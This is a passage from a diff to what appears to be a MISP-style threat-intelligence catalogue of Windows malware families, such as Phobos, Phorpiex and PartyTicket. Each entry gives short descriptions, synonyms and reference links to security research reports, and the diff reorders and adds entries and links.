"https://www.youtube.com/watch?v=wjoH9jW2EPQ" + "https://www.youtube.com/watch?v=wjoH9jW2EPQ", + "https://perception-point.io/blog/behind-the-attack-paradies-clipper-malware/" ], "synonyms": [], "type": [] @@ -35216,12 +37056,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.paradise", - "https://therecord.media/source-code-for-paradise-ransomware-leaked-on-hacking-forums/", + "https://marcoramilli.com/2021/08/23/paradise-ransomware-the-builder/", "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", + "https://asec.ahnlab.com/en/47590/", "https://www.lastline.com/labsblog/iqy-files-and-paradise-ransomware/", - "https://www.acronis.com/en-us/blog/posts/paradise-ransomware-strikes-again", + "https://www.trendmicro.com/en_us/research/23/d/rapture-a-ransomware-family-with-similarities-to-paradise.html", + "https://therecord.media/source-code-for-paradise-ransomware-leaked-on-hacking-forums/", "https://labs.bitdefender.com/2020/01/paradise-ransomware-decryption-tool", - "https://marcoramilli.com/2021/08/23/paradise-ransomware-the-builder/" + "https://www.acronis.com/en-us/blog/posts/paradise-ransomware-strikes-again" ], "synonyms": [], "type": [] @@ -35234,12 +37076,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax", - "https://blog.morphisec.com/parallax-rat-active-status", - "https://www.vkremez.com/2020/02/lets-learn-inside-parallax-rat-malware.html", "https://twitter.com/malwrhunterteam/status/1227196799997431809", - "https://threatpost.com/ta2541-apt-rats-aviation/178422/", "https://blog.talosintelligence.com/2020/02/coronavirus-themed-malware.html", + "https://blog.morphisec.com/parallax-rat-active-status", "https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-to-years-of-attacks-on-aviation-transport-sectors/", + "https://threatpost.com/ta2541-apt-rats-aviation/178422/", + "https://www.vkremez.com/2020/02/lets-learn-inside-parallax-rat-malware.html", + "https://www.uptycs.com/blog/cryptocurrency-entities-at-risk-threat-actor-uses-parallax-rat-for-infiltration", "https://www.bleepingcomputer.com/news/security/parallax-rat-common-malware-payload-after-hacker-forums-promotion/" ], "synonyms": [ @@ -35268,30 +37111,34 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.partyticket", - "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-hermeticwiper-partyticket", - "https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/", - "https://securelist.com/new-ransomware-trends-in-2022/106457/", - "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", - "https://go.recordedfuture.com/hubfs/reports/mtp-2022-0302.pdf", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", - "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine", - "https://decoded.avast.io/threatresearch/help-for-ukraine-free-decryptor-for-hermeticransom-ransomware/", "https://securelist.com/elections-goransom-and-hermeticwiper-attack/105960/", - "https://www.mandiant.com/resources/information-operations-surrounding-ukraine", - "https://www.kaspersky.com/blog/hermeticransom-hermeticwiper-attacks-2022/43825/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf", - "https://www.crowdstrike.com/blog/how-to-decrypt-the-partyticket-ransomware-targeting-ukraine/", - "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/", - "https://www.bleepingcomputer.com/news/security/free-decryptor-released-for-hermeticransom-victims-in-ukraine/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", - "https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation", - "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", - "https://www.techtarget.com/searchsecurity/news/252514091/CrowdStrike-cracks-PartyTicket-ransomware-targeting-Ukraine", "https://www.zscaler.com/blogs/security-research/technical-analysis-partyticket-ransomware", - "https://threatpost.com/free-hermeticransom-ransomware-decryptor-released/178762/", + "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/", + "https://www.youtube.com/watch?v=mrTdSdMMgnk", + "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-hermeticwiper-partyticket", + "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://www.crowdstrike.com/blog/how-to-decrypt-the-partyticket-ransomware-targeting-ukraine/", + "https://securelist.com/new-ransomware-trends-in-2022/106457/", + "https://decoded.avast.io/threatresearch/help-for-ukraine-free-decryptor-for-hermeticransom-ransomware/", + "https://www.brighttalk.com/webcast/15591/534324", + "https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf", + "https://go.recordedfuture.com/hubfs/reports/mtp-2022-0302.pdf", "https://www.splunk.com/en_us/blog/security/detecting-hermeticwiper.html", - "https://www.brighttalk.com/webcast/15591/534324" + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", + "https://services.google.com/fh/files/blogs/google_fog_of_war_research_report.pdf", + "https://www.kaspersky.com/blog/hermeticransom-hermeticwiper-attacks-2022/43825/", + "https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", + "https://www.mandiant.com/resources/information-operations-surrounding-ukraine", + "https://www.bleepingcomputer.com/news/security/free-decryptor-released-for-hermeticransom-victims-in-ukraine/", + "https://threatpost.com/free-hermeticransom-ransomware-decryptor-released/178762/", + "https://www.techtarget.com/searchsecurity/news/252514091/CrowdStrike-cracks-PartyTicket-ransomware-targeting-Ukraine", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf" ], "synonyms": [ "Elections GoRansom", @@ -35321,12 +37168,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pay2key", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.bleepingcomputer.com/news/security/intels-habana-labs-hacked-by-pay2key-ransomware-data-stolen/", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://twitter.com/TrendMicroRSRCH/status/1389422784808378370", "https://research.checkpoint.com/2020/ransomware-alert-pay2key/", + "https://twitter.com/TrendMicroRSRCH/status/1389422784808378370", + "https://www.bleepingcomputer.com/news/security/intels-habana-labs-hacked-by-pay2key-ransomware-data-stolen/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf" ], "synonyms": [ @@ -35355,8 +37202,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pcshare", - "https://web.archive.org/web/20191115210757/https://threatvector.cylance.com/en_us/home/pcshare-backdoor-attacks-targeting-windows-users-with-fakenarrator-malware.html", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf" + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf", + "https://web.archive.org/web/20191115210757/https://threatvector.cylance.com/en_us/home/pcshare-backdoor-attacks-targeting-windows-users-with-fakenarrator-malware.html" ], "synonyms": [], "type": [] @@ -35369,14 +37216,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pebbledash", - "https://asec.ahnlab.com/wp-content/uploads/2021/11/Kimsuky-%EA%B7%B8%EB%A3%B9%EC%9D%98-APT-%EA%B3%B5%EA%B2%A9-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C-AppleSeed-PebbleDash.pdf", - "https://download.ahnlab.com/global/brochure/Analysis%20Report%20of%20Kimsuky%20Group.pdf", - "https://malwarenailed.blogspot.com/2020/06/peebledash-lazarus-hiddencobra-rat.html?m=1", - "https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/", "https://www.us-cert.gov/ncas/analysis-reports/ar20-133c", - "https://asec.ahnlab.com/en/30022/", "https://blog.reversinglabs.com/blog/hidden-cobra", - "https://asec.ahnlab.com/en/30532/" + "https://asec.ahnlab.com/en/30022/", + "https://download.ahnlab.com/global/brochure/Analysis%20Report%20of%20Kimsuky%20Group.pdf", + "https://asec.ahnlab.com/wp-content/uploads/2021/11/Kimsuky-%EA%B7%B8%EB%A3%B9%EC%9D%98-APT-%EA%B3%B5%EA%B2%A9-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C-AppleSeed-PebbleDash.pdf", + "https://asec.ahnlab.com/en/30532/", + "https://malwarenailed.blogspot.com/2020/06/peebledash-lazarus-hiddencobra-rat.html?m=1", + "https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/" ], "synonyms": [], "type": [] @@ -35470,14 +37317,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.petya", - "https://www.microsoft.com/security/blog/2017/06/27/new-ransomware-old-techniques-petya-adds-worm-capabilities/", - "https://blog.malwarebytes.com/malwarebytes-news/2017/07/bye-bye-petya-decryptor-old-versions-released/", "https://blog.malwarebytes.com/threat-analysis/2016/04/petya-ransomware/", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/", - "https://blog.malwarebytes.com/threat-analysis/2016/07/third-time-unlucky-improved-petya-is-out/", "https://blog.malwarebytes.com/threat-analysis/2016/05/petya-and-mischa-ransomware-duet-p1/", - "https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html" + "https://blog.malwarebytes.com/threat-analysis/2016/07/third-time-unlucky-improved-petya-is-out/", + "https://www.microsoft.com/security/blog/2017/06/27/new-ransomware-old-techniques-petya-adds-worm-capabilities/", + "https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", + "https://blog.malwarebytes.com/malwarebytes-news/2017/07/bye-bye-petya-decryptor-old-versions-released/", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/" ], "synonyms": [], "type": [] @@ -35518,12 +37366,12 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.philadelphia_ransom", "https://www.proofpoint.com/us/threat-insight/post/philadelphia-ransomware-customization-commodity-malware", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://www.cylance.com/en_us/blog/threat-spotlight-philadelphia-ransomware.html", + "https://krebsonsecurity.com/2017/03/ransomware-for-dummies-anyone-can-do-it/", + "https://www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", "https://intel471.com/blog/a-brief-history-of-ta505", - "https://www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/", - "https://krebsonsecurity.com/2017/03/ransomware-for-dummies-anyone-can-do-it/" + "https://www.cylance.com/en_us/blog/threat-spotlight-philadelphia-ransomware.html", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf" ], "synonyms": [], "type": [] @@ -35532,32 +37380,33 @@ "value": "Philadephia Ransom" }, { - "description": "Ransomware.", + "description": "MalwareBytes states that Phobos is one of the ransomware families that are distributed via hacked Remote Desktop (RDP) connections. This isn't surprising, as hacked RDP servers are a cheap commodity on the underground market, and can make for an attractive and cost efficient dissemination vector for threat groups.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.phobos", - "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", - "https://paraflare.com/luci-spools-the-fun-with-phobos-ransomware/", - "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - "https://www.advanced-intel.com/post/inside-phobos-ransomware-dharma-past-underground", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", - "https://blog.malwarebytes.com/threat-spotlight/2020/01/threat-spotlight-phobos-ransomware-lives-up-to-its-name/", - "https://blog.morphisec.com/the-fair-upgrade-variant-of-phobos-ransomware", "https://www.fortinet.com/blog/threat-research/deep-analysis-the-eking-variant-of-phobos-ransomware", - "https://www.coveware.com/blog/phobos-ransomware-distributed-dharma-crew", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.sri.ro/articole/atac-cibernetic-cu-aplicatia-ransomware-phobos", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/", + "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://www.advanced-intel.com/post/inside-phobos-ransomware-dharma-past-underground", "https://blogs.blackberry.com/en/2021/11/zebra2104", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", + "https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://blog.malwarebytes.com/threat-spotlight/2020/01/threat-spotlight-phobos-ransomware-lives-up-to-its-name/", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://blog.morphisec.com/the-fair-upgrade-variant-of-phobos-ransomware", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://paraflare.com/luci-spools-the-fun-with-phobos-ransomware/", "https://blog.malwarebytes.com/threat-analysis/2019/07/a-deep-dive-into-phobos-ransomware/", - "https://securelist.com/cis-ransomware/104452/" + "https://securelist.com/cis-ransomware/104452/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://www.coveware.com/blog/phobos-ransomware-distributed-dharma-crew", + "https://www.sri.ro/articole/atac-cibernetic-cu-aplicatia-ransomware-phobos", + "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", + "https://cert.pl/en/posts/2023/02/breaking-phobos/" ], "synonyms": [], "type": [] @@ -35570,10 +37419,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.phoenix_keylogger", - "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", "https://www.cybereason.com/blog/phoenix-the-tale-of-the-resurrected-alpha-keylogger", - "https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass", - "https://threatresearch.ext.hp.com/the-many-skins-of-snake-keylogger/" + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://threatresearch.ext.hp.com/the-many-skins-of-snake-keylogger/", + "https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass" ], "synonyms": [], "type": [] @@ -35587,10 +37436,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.phoenix_locker", "https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", "https://killingthebear.jorgetesta.tech/actors/evil-corp", - "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp" + "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself" ], "synonyms": [], "type": [] @@ -35598,14 +37447,27 @@ "uuid": "58aff639-0eda-4a80-9fe8-22e0498af728", "value": "Phoenix Locker" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.phonk", + "https://twitter.com/abuse_ch/status/1630111198036348928" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e0aa3f91-59d6-4344-bcc5-d602aaab21f9", + "value": "Phonk" + }, { "description": " Phoreal is a very simple backdoor that is capable of creating a reverse shell, performing simple file I/O and top-level window enumeration. It communicates to a list of four preconfigured C2 servers via ICMP on port 53", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.phoreal", - "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/SpyRATsofOceanLotusMalwareWhitePaper.pdf", + "https://www.secureworks.com/research/threat-profiles/tin-woodlawn", "https://elastic.github.io/security-research/intelligence/2022/03/02.phoreal-targets-southeast-asia-financial-sector/article/", - "https://www.secureworks.com/research/threat-profiles/tin-woodlawn" + "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/SpyRATsofOceanLotusMalwareWhitePaper.pdf" ], "synonyms": [ "Rizzo" @@ -35620,24 +37482,25 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", - "https://www.proofpoint.com/us/threat-insight/post/phorpiex-decade-spamming-shadows", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://twitter.com/_CPResearch_/status/1447852018794643457", "https://research.checkpoint.com/2019/phorpiex-breakdown/", - "https://www.lastline.com/labsblog/nemty-ransomware-scaling-up-apac-mailboxes-swarmed-dual-downloaders/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/shylock-not-the-lone-threat-targeting-skype/", - "https://research.checkpoint.com/2021/phorpiex-botnet-is-back-with-a-new-twizt-hijacking-hundreds-of-crypto-transactions/", - "https://www.microsoft.com/security/blog/2021/05/20/phorpiex-morphs-how-a-longstanding-botnet-persists-and-thrives-in-the-current-threat-environment/", - "https://www.johannesbader.ch/2016/02/phorpiex/", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://bin.re/blog/phorpiex/", + "https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/", + "https://therecord.media/phorpiex-botnet-shuts-down-source-code-goes-up-for-sale/", "https://blogs.vmware.com/security/2021/11/telemetry-peak-analyzer-an-automatic-malware-campaign-detector.html", + "https://www.lastline.com/labsblog/nemty-ransomware-scaling-up-apac-mailboxes-swarmed-dual-downloaders/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/nemty-ransomware-trik-botnet", "https://www.bleepingcomputer.com/news/security/trik-spam-botnet-leaks-43-million-email-addresses/", - "https://therecord.media/phorpiex-botnet-shuts-down-source-code-goes-up-for-sale/", + "https://www.johannesbader.ch/2016/02/phorpiex/", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://research.checkpoint.com/2021/phorpiex-botnet-is-back-with-a-new-twizt-hijacking-hundreds-of-crypto-transactions/", "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://twitter.com/_CPResearch_/status/1447852018794643457", - "https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/", - "https://www.zdnet.com/article/someone-is-uninstalling-the-phorpiex-malware-from-infected-pcs-and-telling-users-to-install-an-antivirus/" + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/shylock-not-the-lone-threat-targeting-skype/", + "https://www.zdnet.com/article/someone-is-uninstalling-the-phorpiex-malware-from-infected-pcs-and-telling-users-to-install-an-antivirus/", + "https://www.microsoft.com/security/blog/2021/05/20/phorpiex-morphs-how-a-longstanding-botnet-persists-and-thrives-in-the-current-threat-environment/", + "https://www.proofpoint.com/us/threat-insight/post/phorpiex-decade-spamming-shadows" ], "synonyms": [ "Trik" @@ -35652,18 +37515,31 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.photoloader", - "https://www.intezer.com/blog/research/conversation-hijacking-campaign-delivering-icedid/", - "https://twitter.com/felixw3000/status/1521816045769662468", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.silentpush.com/blog/icedid-command-and-control-infrastructure", - "https://isc.sans.edu/diary/28636", - "https://www.silentpush.com/blog/malicious-infrastructure-as-a-service", - "https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", "https://awakesecurity.com/blog/detecting-icedid-and-cobalt-strike-beacon-with-network-detection-and-response/", + "https://isc.sans.edu/diary/29740", + "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary", + "https://www.team-cymru.com/post/from-chile-with-malware", + "https://www.intezer.com/blog/research/conversation-hijacking-campaign-delivering-icedid/", + "https://blog.unpac.me/2023/05/03/unpacme-weekly-new-version-of-icedid-loader", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://research.openanalysis.net/icedid/bokbot/photoloader/config/2023/04/06/photoloader.html", + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", + "https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns", + "https://twitter.com/felixw3000/status/1521816045769662468", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://unit42.paloaltonetworks.com/polyglot-file-icedid-payload/", + "https://blog.talosintelligence.com/following-the-lnk-metadata-trail", + "https://www.youtube.com/watch?v=4j8t9kFLFIY", + "https://isc.sans.edu/diary/28636", + "https://www.elastic.co/security-labs/unpacking-icedid", + "https://www.silentpush.com/blog/malicious-infrastructure-as-a-service", + "https://unit42.paloaltonetworks.com/teasing-secrets-malware-configuration-parsing", + "https://www.spreaker.com/user/16860719/proofpoint-e29-mix-v1", + "https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes", + "https://www.team-cymru.com/post/a-visualizza-into-recent-icedid-campaigns", "https://sysopfb.github.io/malware,/icedid/2020/04/28/IcedIDs-updated-photoloader.html", - "https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes" + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://www.silentpush.com/blog/icedid-command-and-control-infrastructure" ], "synonyms": [], "type": [] @@ -35699,14 +37575,28 @@ "uuid": "2bda00e8-e6a7-448d-8dfa-4f2276230e8b", "value": "Pierogi" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.pikabot", + "https://minerva-labs.com/blog/beepin-out-of-the-sandbox-analyzing-a-new-extremely-evasive-malware/", + "https://medium.com/@DCSO_CyTec/shortandmalicious-pikabot-and-the-matanbuchus-connection-5e302644398" + ], + "synonyms": [], + "type": [] + }, + "uuid": "992151e9-2d4d-4621-9a2e-f2219f97e55b", + "value": "Pikabot" + }, { "description": "According to FireEye, PILLOWMINT is a Point-of-Sale malware tool used to scrape track 1 and track 2 payment card data from memory.\r\n Scraped payment card data is encrypted and stored in the registry and as plaintext in a file (T1074: Data Staged)\r\n Contains additional backdoor capabilities including:\r\n Running processes\r\n Downloading and executing files (T1105: Remote File Copy)\r\n Downloading and injecting DLLs (T1055: Process Injection)\r\n Communicates with a command and control (C2) server over HTTP using AES encrypted messages\r\n (T1071: Standard Application Layer Protocol)\r\n (T1032: Standard Cryptographic Protocol)\r\n\r\n", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pillowmint", "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/" + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf" ], "synonyms": [], "type": [] @@ -35714,6 +37604,19 @@ "uuid": "dec78ec5-f02d-461f-a8cc-cd4e80099e38", "value": "PILLOWMINT" }, + { + "description": "According to F-Secure, the PinchDuke information stealer gathers system configuration information, steals user credentials, and collects user files from the compromised host transferring these via HTTP(S) to a C&C server. F-Secure believes that PinchDuke’s credential stealing functionality is based on the source code of the Pinch credential stealing malware (also known as LdPinch) that was developed in the early 2000s and has later been openly distributed on underground forums.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.pinchduke", + "https://blog.f-secure.com/wp-content/uploads/2020/03/F-Secure_Dukes_Whitepaper.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d837fc8e-1298-4911-9cfd-eb434a25bf3a", + "value": "PinchDuke" + }, { "description": "", "meta": { @@ -35746,8 +37649,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pipemon", - "https://twitter.com/ESETresearch/status/1506904404225630210", - "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/" + "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", + "https://twitter.com/ESETresearch/status/1506904404225630210" ], "synonyms": [], "type": [] @@ -35755,15 +37658,28 @@ "uuid": "34c0b51a-7139-44ab-b09a-cef646e66ba0", "value": "PipeMon" }, + { + "description": "Infostealer", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.pirate_stealer", + "https://mostwanted002.cf/post/malware-analysis-and-triage-report-piratestealer/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "19748031-0d8d-4e76-bf8e-0838f8a3d07c", + "value": "PirateStealer" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pirpi", "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html", - "https://web.archive.org/web/20160910124439/http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", "https://www.secureworks.com/research/threat-profiles/bronze-mayfair", + "https://web.archive.org/web/20160910124439/http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", "https://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/" ], "synonyms": [ 